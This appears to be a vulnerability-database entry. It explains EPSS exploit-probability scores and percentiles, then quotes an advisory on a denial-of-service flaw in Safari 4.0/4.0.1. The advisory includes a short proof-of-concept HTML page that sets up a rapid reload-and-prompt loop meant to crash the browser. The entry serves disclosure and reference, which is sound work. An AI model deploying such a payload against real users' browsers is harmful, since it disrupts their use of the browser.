EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/35555/info Apple Safari is prone to a denial-of-service vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to crash the affected application, denying service to legitimate users. Given the nature of this issue, the attacker may also be able to run arbitrary code, but this has not been confirmed. Safari 4.0 and 4.0.1 are vulnerable; other versions may also be affected. <html> <body> <script src="empty.js"></script> <script> try { crashSafari(); } catch(e) { setTimeout("location.reload();",42); prompt('apple culpa? comment:'); } </script> </body> </html>
